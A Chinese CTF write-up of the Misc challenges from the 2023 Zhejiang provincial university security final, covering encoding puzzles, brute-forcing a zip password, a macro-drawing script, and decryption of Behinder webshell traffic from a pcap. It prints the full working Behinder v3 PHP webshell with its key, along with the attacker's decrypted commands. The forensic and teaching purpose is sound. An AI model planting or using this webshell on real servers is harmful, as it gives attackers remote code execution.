比赛概述
这是2023浙江省大学生网络与信息安全决赛的Misc篇,将本次比赛的相关题目进行了整理,欢迎各位师傅的复现和交流学习~
比赛总体emmmm怎么说呢,难受死了,好多题目都是临门一脚的状态。。。
比赛当时是断网环境,真的是可惜了
相关题目附件已经上传到开源项目,题库地址:https://github.com/CTF-Archives/2023-zjsdxs/
如有需要,从上面拉取题目即可
Misc-1:Xcode v5.8
1# 题目内容
直接给了一个 flag.txt
,里面有一串字符串
2# 解题思路
题目提示使用 X encode
,于是在 CaptfEncoder
中可以找到 XXencode
编码:
解密后,看着像Base编码,遂尝试:
成功解出Flag
Misc-2:Ez_Signin
1# 题目内容
题目给了一个加密的压缩包,里面放着个 flag.txt
2#解题思路
2.1 爆破压缩包
尝试压缩包伪加密,发现修改十六进制后压缩包报错,判断为真加密
通过查看压缩包的十六进制,发现末尾跟着一个字符串,是Base64编码的格式
V2hhdF9pU190SGlzXzI3NTYyNmQ2NTdlNmY1NTY2Nzk2NjY=
Base64解码后为以下内容:
What_iS_tHis_275626d657e6f556679666
发现又给了一串字符串,遂尝试解密:
有师傅问解密原理,其实就是字符逆序再以十六进制解码:
five number
于是对压缩包进行5位数字的爆破:
拿到解压密码:11452,成功解压出 flag.txt
2.2 按键精灵大藏玄机
解压出来的 flag.txt
,内容如下图:
看着又像是Base系列编码,遂解码:
用Base32编码成功解出内容,但仔细一看:
这像是给鼠标和键盘的移动和输入参数,于是想到按键精灵:
但当时比赛我们没准备按键精灵,线下又是断网环境,我真的醉了
按键精灵下载地址:http://download.myanjian.com/
安装完毕后,新建一个空白脚本:
然后点击“源文件”,将刚才解码的内容粘贴进来
然后点击“保存退出”,就回到主界面,发现多了一个脚本:
因为猜测是画图,遂打开画板,点击热键 F10
启动该脚本:
成功画出Flag的内容,但在绘画过程中,下方还有一部分字符串被擦除了,于是找到脚本的相关位置,删除 Ctrl + Z
撤销的相关代码:
删除9633行到9690的脚本,再次点击“保存退出”,并再次运行脚本:
成功画出清晰的Flag
Misc-3:NewGrating
1# 题目内容
给了一个 .pcap
的数据包,名字叫“蝎子”,盲猜是冰蝎(Behinder)的WebShell流量分析
2# 解题思路
用WireShark打开数据包,追踪TCP流,可以看到流量详情
2.1 拿到上传的PHP
一上来,好家伙,直接上传了一个冰蝎的PHP的WebShell,果然是冰蝎的流量分析:
上传了一个PHP文件,名字是 shell.php
,内容如下:
<?php
@error_reporting(0);
session_start();
// $key="e45e329feb5d925b"; //........................32...md5.........16........................rebeyond
$key="e46023a69f8db309"; //DASCTF
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval(后面会替换为printf)($p."");}}
@call_user_func(new C(),$params);
?>
可以看到,这是一个经典的冰蝎马,我们在本地搭建PHP环境,将这个马跑起来
注明:这里是冰蝎3的木马,连接密码为 DASCTF
成功连上WebShell,至于为什么要在本地运行该WebShell,这个请看下文
2.2 获得解密流量的方法
冰蝎的流量是加密的,所以我们要解密对应的流量:
如图所示,该数据包显示对 Shell.php
进行POST传参,传的是加密的内容,那此时此刻,我们应该怎么样解密这个流量呢?
这个时候,很多师傅就会回头去看那个冰蝎3的WebShell源码,通过源码写出解密的脚本对相关数据包进行解密
但并不需要那么麻烦,我们手头可是有源码的呀~
有了源码,就意味着我们有了以下两个内容:
- WebShell的密钥(
$key="e46023a69f8db309"; //DASCTF
) - 原生的加解密方法(WebShell的源码里面给出了方法)
那不就手到擒来??来到我们之前搭建的本地环境,找到最后的代码执行点:
将 eval
改为 printf
并保存,如图:
这个时候,我们就能将最终代码的执行结果输出出来了(而不是执行)
具体思路可以看我早期写的这篇文章:对于某些畸形PHP的加密和解密方法
然后将加密的数据内容,复制过来POST传参到本地环境当中:
成功解出最终执行的代码,内容如下:
eval(base64_decode('Base64编码的数据'));
冰蝎的加密流量是多层嵌套执行的,我们再通过Base64解码,在最下面可以发现最终的代码主体部分:
继续对相关内容进行解码,最终获得执行的解密内容:
发现攻击者在服务器上通过WebShell执行了以下内容:
cd /www/admin/www.webshell.com_80/wwwroot/upload/ ;ls
这就是解密流量的方法
2.3 分析后续流量
我们继续追踪TCP流,在流到4的时候,是流量的主体部分
由于流4的内容太过巨大,需要稍等一段时间,然后全选复制出来粘贴到外面的TXT里面
这里我们在左下角选择筛选出发送的数据包即可,因为我们要解密发送的包而不是返回的包,然后全选复制出来
这里推荐用 UEStudio
或者其他编辑器来做,因为文本文件太大TXT会卡
然后对粘贴出来的内容进行分割,可以发现总共有7轮的发包,我这边已经分割好了
对相关的数据包依次进行解密,解密方法在上面已经提到
这里要关注第2轮的数据包,解密后主体内容如下:
$mode="dXBkYXRl";$mode=base64_decode($mode);
$path="L3d3dy9hZG1pbi93d3cud2Vic2hlbGwuY29tXzgwL3d3d3Jvb3QvdXBsb2FkL1Bhc3N3b3JkLnBuZw==";$path=base64_decode($path);
$hash="";$blockIndex="MA==";$blockIndex=base64_decode($blockIndex);$blockSize="MzA3MjA=";$blockSize=base64_decode($blockSize);
$content="aVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQWxnQUFBRXNDQVlBQUFBZlBjMldBQUFQcTBsRVFWUjRuTzNkMjVLck5nSUYwRDVUOC8rLzNGT25VbDNUNVdBc3BLMGJyUFdTeEdrYkxDU3hFVUwrOC8zOS9mMEZBRURNZnhRbEFFQ1dnQVVBRUNaZ0FRQ0VDVmdBQUdFQ0ZnQkFtSUFGQUJBbVlBRUFoQWxZQUFCaEFoWUFRSmlBQlFBUUptQUJBSVFKV0FBQVlRSVdBRUNZZ0FVQUVDWmdBUUNFQ1ZnQUFHRUNGZ0JBbUlBRkFCQW1ZQUVBaEFsWUFBQmhBaFlBUUppQUJRQVFKbUFCQUlRSldBQUFZUUlXQUVDWWdBVUFFQ1pnQVFDRUNWZ0FBR0VDRmdCQW1JQUZBQkFtWUFFQWhBbFlBQUJoQWhZQVFKaUFCUUFRSm1BQkFJUUpXQUFBWVFJV0FFQ1lnQVVBRUNaZ0FRQ0VDVmdBQUdFQ0ZnQkFtSUFGQUJBbVlBRUFoQWxZQUFCaEFoWUFRSmlBQlFBUUptQUJBSVFKV0FBQVlRSVdBRUNZZ0FVQUVDWmdBUUNFQ1ZnQUFHRUNGZ0JBbUlBRkFCQW1ZQUVBaEFsWUFBQmhBaFlBUUppQUJRQVFKbUFCQUlRSldBQUFZUUlXQUVDWWdBVUFFQ1pnQVFDRUNWZ0FBR0VDRmdCQW1JQUZBQkFtWUFFQWhBbFlBQUJoQWhZQVFKaUFCUUFRSm1BQkFJUUpXQUFBWVFJV0FFQ1lnQVVBRUNaZ0FRQ0VDVmdBQUdFQ0ZnQkFtSUFGQUJBbVlBRUFoQWxZQUFCaEFoWUFRSmlBQlFBUUptQUJBSVFKV0FBQVlRSVdBRUNZZ0FVQUVDWmdBUUNFQ1ZnQUFHRUNGZ0JBbUlBRkFCQW1ZQUVBaEFsWUFBQmhBaFlBUUppQUJRQVFKbUFCQUlRSldBQUFZUUlXQUVDWWdBVUFFQ1pnQVFDRUNWZ0FBR0VDRmdCQW1JQUZBQkFtWUFFQWhBbFlBQUJoQWhZQVFKaUFCUUFRSm1BQkFJUUpXQUFBWVFJV0FFQ1lnQVVBRUNaZ0FRQ0VDVmdBQUdFQ0ZnQkFtSUFGQUJBbVlBRUFoQWxZQUFCaEFoWUFRSmlBQlFBUUptQUJBSVFKV0FBQVlRSVdBRUNZZ0FVQUVDWmdBUUNFQ1ZnQUFHRUMxZ0wrL1BuamUyem9hZC8zU0drWktDdmdhUVFzWXI2L3YvLzFVVTZzYlpUZlozL0xTRG5sSmN2VThlR0pCQ3dBNEpGNmh2OXRBdFpSSWFSZjR6NGNYM3I1cVZ1LzY1ajZ4cTVLejZNcjJhVzlSUUxXcmtGbjlmMSt0OTNYMTNYdTY5ZTNsWTdSRG0xekZ5UGJvb3ZNZVdiMTl5dnBkVUh4cVc3dVBNOXoyZ2hXYThld1lzZXkra2tVWmRYaXFOMGR6YnNidVQ4anQzRjFlK29WcTltNVR1NjQ3MXZQd2ZyZHVmOFUvbEdIWC9MYUV6cERIWDQ1WmJXVzNzZkRTQkNmckg3c2Q2aWJuL1ludmIrenYzOTF3TnB4eUZSSFdDZDlvbkdTYXJOYnB6bVNldlNQdTRUREhZL25uZXZnMFMzeGxXNWRyM1liUFRLQ1ZUcHFWUHJlbEpyQ3FSMEJHMldsZlZuWjN6SlJWdVZXS3F0VlQxQS81WEZXVmovL2ZQY2QwdCt0cGIvU0Z0NjdjL0FzZWUvSXVsRlROM2VwdTh2Y0l2eDcwRnM3aG5USGNxVVNweWVrdDZidWtsdWdUN3ZhZi9kOVYybXNSL3UzV2tleTB2Nms5K1ZxZTNnWDRqKzlaM1ZHQWUraDlEaXVNQmlTMk82S2JjczZXQTlYZXpVejRqWDRYZDlHbi9oYlIzM1U2V3VlZEd1Tlo3aE53UG8wTkYvNi9zUStBSi90c094QVNadmVwZDIzN0tlQU1PODJhOHRJMU90cnJmdDc5SGt0STB5dFpUcGpnT0FLSTFnUDh2UUFtRDdCUEwwOFY3VHlNVmt4cEtqRHd1TklSMC8rbDZxcHE3UHJ0NEFWa3A3bzc3YmNYSDVYc1Y3cjNNVTcwTGFlYTBSZnEzN3RRY0NDRzdqVGtpWk9Ibk1wLzN1WHdjcmY3VzdsSGcxWXJ2Q3ZtMVZtSTdmYjZ5Y1dWcFNjRzFUNmhPZ3NWNzVYeTJLL1R4cDl2Y3ZUdm1mNzNGcHZ6ajV2cGZJYmNkSGpuTHMySTFpTnJsVDZsaVVhU3Y1MjluWmZsNlU0VzRTdVpyL1RpOXFOR3ZXcHVkMDRzK01zMmZhb2hZWXRoRm0yN2Q5dGNNUjJTOXA1emY2Y3RkdWY3Y3d1ODk1clVQWDZySnB0ejdvUVgvSHphZ2hZRjZ3MHQ2UkhhRnBsdTZzM3RCNmZWekl5bFRxSnpkN0cwZWZkYlpTbTV2MmxvejQ3Qk04alYwYTFTa04rYlgwdEtjUFpBYWJsZ3JlbW4wN1VxZEhucGRiVkEzcXJEbGp1MHgrN3k1RHQxU3ZpMVBkZWZSajhqbGRaUDBhRnF4WXp3c1d1YmJySENUTjVrWG1YZGoyaW5HdTJjWGFPWHVrQ2VPUjJSKys3RWF3MzByZEpydHcrNnUxMXRPVHNlNXo5M2V0L3Y1c3I4L3NxWTlTNktWZm43YXc0NHRaempaaFpJNkJubjFuNjQrMmZQbXZIRWIwZnJ3dXFybnhTZVQxR0l5OCt6dXBRU2IrVTNyY2VGNWl6MW1Celd6NUh3R3AwWlJKbTd6Q1ZYa1N1NW4zdi92MUlJdFQwQ2dDOWJpR1VualRPVGxycEUzQ3QxZXR6alJVNjc5TEZJV2Y5WHR5VkJTMlQrL2p1NGl5OW1PYW5mV2o1MjVhMW5ONjl0N1RPN3JpT1ZJc1Y5cjFid0pwNWhkekRsZjFNWDlHMWpKUzFOUEtXVWJ3cjJ5MHRyOW1ySnRkdS80NVhoSGRjMTZkMUgwWWQ1N05SNEIxT2lHZjdlSFgvZTMzZmtqbVJzeVgyNzhvRmNhMmVBYkQzdnJlNjdRaFdhMmRYRzB3K1hXMmtLa0x0bFZSclpVOWRMVjRwbjVVYVR5S2MvdTY4UzIrWlh1M3dXMFBUMlhHK09vS1dEQjVYYmpFbnQvbmJqTUQ4NlR2dlBOSlFjbUYxbDdtdHRWWUpuaW16OW0vMGRwY09XS3RmSlk4OFdDdk14VmloMGM0WUZmenFzQ3IvMGQvVXppWDdGRHA2SHZmV0M1SFMvLy91VnVtc1FENnFMYXgyb3J4U0YxcEM0YXo1UjFlVXp2KzdPayt3UjN0OWVrQ2RaYnNSckpVclN2clIweEZtakFpa3BXOHRYcDAvTXV2dldxVDNlUVZYOTdYblpQaFIvVlRpaEQ3RDBmNk1ta3QxTkkzaXlsemFJeXVNY3I1VFV0WTl0a0hIZ0xWYkI2NkM5RFdpZkd0SHBlNTY3SHUwclpxSi9WZmYxM0xiY2VWUjJ0MHZaTzRrUGZtK3hZZ0FsRFI3THV4T1BFWFkyYnVybzk0VmFKVW56YzcwbnRTNHc1WDhLcFRWTWFIb09XcnF1ell5em81dDhUWUI2OTBqOEMzM3Y4OUdPR1kxckUvN012cjI0cnY5dVByYUp6cXlkWTJZZ0x0eTUzbzJtcWJlMWxGdWN5WDc4cDNueXJWYUptQ3QxSUhXRE5uV0hweWpUdmhLV0N6ZGw5WUt0VXNvMm5FZTNHeTdmdGZlKzMxbFl2MkkvU25kNXVwUDRyNjZVLzFMSEEranB2KzNlOUNlRXJDdXpKOXc2K0pZNjJQNExZR3d0eFhtRHRWODNoTTZ4anM5b2JlaTFucTY0bHpISGJYVXdkM0xaL1duRUhmcUgyNDlCNnQycmFqVzdmV2FnTHVTMTdWcGZ1YWFmUXJFUHlNQXM0SmE3WEZPaldxT1dDcWs1OEtoTG03S21BaWNkL2FrNXRuREZEdGVwUGRhQW9LeGJoV3dlZzNQbnIwMk9paVU3a3ROQjMvMCtITE4rNmdyTTUzcXZub0dxaDJPclZHdGU0Mjg3bmFiK2N6TTIraTNDVmdqcnhoYkhpTS9VcnB3Wk8zU0Y2MmZSN203alZJK1dZK091ZllpYUZhOVdyRU9KS1k2dkRycTI1TVhOenVzUStaaUxtK3BnTlVyYVNZcVJLOEtPV09pN29qUFBac01mRGJVdjVxejIzdzdkelM3ZDZaUEQzL3YzS1ZjZHBucjErdmhwOVZwZjJXMkdjRmE2WUIrQ24wclBXWFVVL29wbXFjdk9udUhKOEptV3UxazFuTTVpanZlTnJ3YSttZjJQNzNiNEYzNzFpTjNmbURJUXFPTlpsV0UxdTNXZHVTanRyc3I0ZWVZY3NuYnRlKzVPK1hERHdIckRmZVorVVJIZWt6YmFhUDhqdlVjM2J2amlOSFZxU2wzSFNHYlNjQXF0RU9GYk8yQWF2ZnA2blpYYjR5amxwR1lTV2U2ajNjUHFheEVuV2lqL081SndMcmd5WTBndGQ3UzZwNHlmdzVXVXhQd2QxeHZyRWUvbVN5SDBYT2k3dHkzVGc5WTZaK0VhVGxZaHViM00rSkpvS1E3cmlpdjNkeGZ5ekZXUDlvOHVmeDJ2N0EzZ25WenUweUVUVGFhVmE0NGpYcnRSUkM0cHFWK2F4dkg3ckFFVEl1N2ZlOW93TkpvNkMxVng5VFZPc29Oc25ac1V5NUd5blFid2JxeTZ2bXJwM2ZpaHVQL01mcTd6Q3c3eDd5Y3pwMnZEcXU0TTlhTzgrZXUydTRXNGF6d3BSR2VVejcvS0NtSFhWYXA3dVZ2R2QyeHZ1ejBDd1VyV2FYTlBFRk5uVlNQNjBVQ1Zzc0JXUDIzcnA2azVmY1RWeWx6SGZGYVBpMHhjUGVuVTEvbjFLaWZheklLVEE5RFI3QjBMdjgyNG9kQ2E5Ly84M3VDVjk3ZjYyOWJ0dlBWcWU3cHBJNzFmbVI4cEo3YmIzbGFPdkczSloreGVoMC9HelU4Vys5dng3WjdwYjZjL2FqNGFqOVkvV2wva3UxazlISGY1aGJoV2NIczBsaEs5L011OTZhUEd2blozTHpXZmVwWmJqM0txN1JqK2ZUYWFMTitRUHhkV2Z4SUhQL2FUcnIzZktBcnI5ZSt0dEk4d09SZGtUdk81U3pwQjM2WHcxbjk2Vm1mZTlubGRueTNnRFY3bnNuTTBiS1pCN3VtYytteERFSDZLbmlGdGFyT3JncDdiSy8yNzBaLzFnZzl5djcxYzFaWlRMSGtiMU9qTUtYbFduS3k3cTAwVENUTWJoOHIxWmRkN3p5dDBNZE5HY0c2eXdHYmNXSk1mT2JWOHY4OSt2U3VERW9iK2Ruck05Zk9ldFg3WjRPTzNsYzc4bkNIVysrcFl6bnE5cytkYnpHTk5ycXRsU3JwNzBzZjJCaXhabGpMU05UdmR2TnBlNzB1TkhmNHZLc2lBV3ZHMWNNcUo1WGF3UEg3NzBwUG9wL0s1ZDJ3OGJ2R2MzYWlIajN2NCt5elV2T3QwbGR3TlhXdzlmY2lhejZ2NWJjaVcrYnYxZTdUNzBCL3BSMzFVanR5OG1tZlN2YzVQWm94NnJOR2poQmVWZnR6T3lWMThxdFRtRTNVbDlSRjdNemJzRHN0Y1B2WWxkdy9OWlFlbmNQVlJyM0Q3eitkbGRQUk50Nk5WaDAxMEpZVFM3ckJmM29hcnVUOVYxODdLcXZhMGI1UCs5S2k5THU5YWgySkd4RW1Sb2Vicy8yb3FVTlgzL3Y2ZXZMaTRreHRmL3Z1ZmJVQjZsMDUxZGJOMm5LL3VwM2F6MHJWNzBTL1ZMUGRtcjlMdmEvRU5nRnJwOXNncXcrYjl0cHU2ZFZPN2VlL2UrK2R5N3MydlBTVUh0a29mVTlyeUMzZFRzM2Z6RGdtcTlmVEVkdGQ4Yk5YUFZmOURrR2xGOEtyS2dua0szeUgvL2Jld0lncm9OVUR5T3FwZnZWYkZTTzJrYTZuNmJJYUZTSlh1cTNUT29yUjA4dzJYZnRaZHdwR3Zkdk1xTDV1cFZHWEdlZVVkMys3NG1oVWpUL2ZDMGJWMHZ2Y3E3dkw5eWpWOG4yVjFWcWZOMnVmbjFZUGdQdGFNbUFCNjlreEZBTE1JbUFCQUlROTlpbENBSUJlQkN3QWdEQUJDd0FnVE1BQ0FBZ1RzQUFBd2dRc0FJQXdBUXNBSUV6QUFnQUlFN0FBQU1JRUxBQ0FNQUVMQUNCTXdBSUFDQk93QUFEQ0JDd0FnREFCQ3dBZ1RNQUNBQWdUc0FBQXdnUXNBSUF3QVFzQUlFekFBZ0FJRTdBQUFNSUVMQUNBTUFFTEFDQk13QUlBQ0JPd0FBRENCQ3dBZ0RBQkN3QWdUTUFDQUFnVHNBQUF3Z1FzQUlBd0FRc0FJRXpBQWdBSUU3QUFBTUlFTEFDQU1BRUxBQ0JNd0FJQUNCT3dBQURDQkN3QWdEQUJDd0FnVE1BQ0FBZ1RzQUFBd2dRc0FJQXdBUXNBSUV6QUFnQUlFN0FBQU1JRUxBQ0FNQUVMQUNCTXdBSUFDQk93QUFEQ0JDd0FnREFCQ3dBZ1RNQUNBQWdUc0FBQXdnUXNBSUF3QVFzQUlFekFBZ0FJRTdBQUFNSUVMQUNBTUFFTEFDQk13QUlBQ0JPd0FBRENCQ3dBZ0RBQkN3QWdUTUFDQUFnVHNBQUF3Z1FzQUlBd0FRc0FJRXpBQWdBSUU3QUFBTUlFTEFDQU1BRUxBQ0JNd0FJQUNCT3dBQURDQkN3QWdEQUJDd0FnVE1BQ0FBZ1RzQUFBd2dRc0FJQXdBUXNBSUV6QUFnQUlFN0FBQU1JRUxBQ0FNQUVMQUNCTXdBSUFDQk93QUFEQ0JDd0FnREFCQ3dBZ1RNQUNBQWdUc0FBQXdnUXNBSUF3QVFzQUlFekFBZ0FJRTdBQUFNSUVMQUNBTUFFTEFDQk13QUlBQ0JPd0FBRENCQ3dBZ0RBQkN3QWdUTUFDQUFnVHNBQUF3Z1FzQUlBd0FRc0FJRXpBQWdBSUU3QUFBTUlFTEFDQU1BRUxBQ0JNd0FJQUNCT3dBQURDQkN3QWdEQUJDd0FnVE1BQ0FBZ1RzQUFBd2dRc0FJQXdBUXNBSUV6QUFnQUlFN0FBQU1JRUxBQ0FNQUVMQUNEcDYrdnJmMDJLbTFYVlNKVmZBQUFBQUVsRlRrU3VRbUND";
$content=base64_decode($content);
通过对 $path
进行Base64解码,发现攻击者通过WebShell上传了一张png图片:
/www/admin/www.webshell.com_80/wwwroot/upload/Password.png
再对 $content
进行两层的Base64解码,解密后如下:
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gDABCwAgTMACAAgTsAAAwgQsAIAwAQsAIEzAAgAIE7AAAMIELACAMAELACBMwAIACBOwAADCBCwAgDABCwAgTMACAAgTsAAAwgQsAIAwAQsAIEzAAgAIE7AAAMIELACAMAELACBMwAIACBOwAADCBCwAgDABCwAgTMACAAgTsAAAwgQsAIAwAQsAIEzAAgAIE7AAAMIELACAMAELACBMwAIACBOwAADCBCwAgDABCwAgTMACAAgTsAAAwgQsAIAwAQsAIEzAAgAIE7AAAMIELACAMAELACBMwAIACBOwAADCBCwAgDABCwAgTMACAAgTsAAAwgQsAIAwAQsAIEzAAgAIE7AAAMIELACAMAELACBMwAIACBOwAADCBCwAgDABCwAgTMACAAgTsAAAwgQsAIAwAQsAIEzAAgAIE7AAAMIELACAMAELACBMwAIACBOwAADCBCwAgDABCwAgTMACAAgTsAAAwgQsAIAwAQsAIEzAAgAIE7AAAMIELACAMAELACBMwAIACBOwAADCBCwAgDABCwAgTMACAAgTsAAAwgQsAIAwAQsAIEzAAgAIE7AAAMIELACAMAELACDp6+vrf02Km1XVSJVfAAAAAElFTkSuQmCC
